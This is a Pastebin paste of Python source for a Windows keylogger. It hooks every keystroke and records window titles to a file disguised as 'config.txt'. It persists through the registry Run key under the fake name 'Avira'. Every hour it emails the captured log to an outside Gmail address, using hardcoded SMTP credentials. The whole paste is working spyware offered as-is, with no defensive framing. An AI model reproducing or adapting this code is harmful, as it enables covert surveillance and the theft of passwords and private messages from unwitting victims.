Guest User

Untitled

a guest
Aug 25th, 2018
378
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.41 KB | None | 0 0
  1. import pyHook, pythoncom, threading, smtplib, win32gui
  2. from sys import argv
  3. from time import sleep
  4. from _winreg import *
  5. from email.mime.text import MIMEText
  6.  
  7. class Timer(threading.Thread):
  8. def __init__(self, seconds):
  9. self.runTime = seconds
  10. threading.Thread.__init__(self)
  11. def run(self):
  12. sleep(self.runTime)
  13. fp = open('config.txt', 'rb')
  14. msg = MIMEText(fp.read())
  15. fp.close()
  16.  
  17. msg['Subject'] = 'The contents of %s' % fp
  18. msg['From'] = 'turdshit@gmail.com'
  19. msg['To'] = 'ilykturtles@gmail.com'
  20.  
  21. s = smtplib.SMTP('smtp.googlemail.com', 587)
  22. s.ehlo()
  23. s.starttls()
  24. s.ehlo()
  25. s.login('turdshit@gmail.com', 'roflcopter')
  26. s.sendmail('turdshit@gmail.com', 'ilykturtles@gmail.com', msg.as_string())
  27. s.quit()
  28.  
  29. def WriteToRegistry():
  30. RegKey = CreateKey(HKEY_LOCAL_MACHINE, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run')
  31. SetValueEx(RegKey, 'Avira', 0, REG_SZ, argv[0])
  32.  
  33. def OnKeyboardEvent(event):
  34. Logs = open('config.txt', 'a+')
  35.  
  36. global WindowName
  37. if WindowName != win32gui.GetWindowText(win32gui.GetForegroundWindow()):
  38. WindowName = win32gui.GetWindowText(win32gui.GetForegroundWindow())
  39. Logs.write('\r\n' + '\r\n' + WindowName + '\r\n')
  40. else:
  41. pass
  42.  
  43. if event.KeyID == 13:
  44. Logs.write(' [ENTER]\r\n')
  45. elif event.KeyID == 32:
  46. Logs.write(' ',)
  47. elif event.KeyID == 8:
  48. Logs.write(' [BACK] ',)
  49. elif event.KeyID == 162:
  50. Logs.write(' [LEFT CTRL] ',)
  51. elif event.KeyID == 163:
  52. Logs.write(' [RIGHT CTRL] ',)
  53. elif event.KeyID == 164:
  54. Logs.write(' [ALT] ',)
  55. elif event.KeyID == 9:
  56. Logs.write(' [TAB] ',)
  57. elif event.KeyID == 160:
  58. Logs.write(' [LEFT SHIFT] ',)
  59. elif event.KeyID == 161:
  60. Logs.write(' [RIGHT SHIFT] ',)
  61. elif event.KeyID == 20:
  62. Logs.write(' [CAPS LOCK] ',)
  63. elif event.KeyID == 190:
  64. Logs.write('.')
  65. elif event.KeyID == 187:
  66. Logs.write('+')
  67. elif event.KeyID == 190:
  68. Logs.write('#')
  69. else:
  70. Logs.write(event.Key.lower(),)
  71.  
  72. Logs.close()
  73.  
  74. time_ = Timer(3600)
  75. time_.start()
  76.  
  77. WriteToRegistry()
  78.  
  79. WindowName = ""
  80.  
  81. hooking = pyHook.HookManager()
  82. hooking.KeyDown = OnKeyboardEvent
  83. hooking.HookKeyboard()
  84. pythoncom.PumpMessages()
Add Comment
Please, Sign In to add comment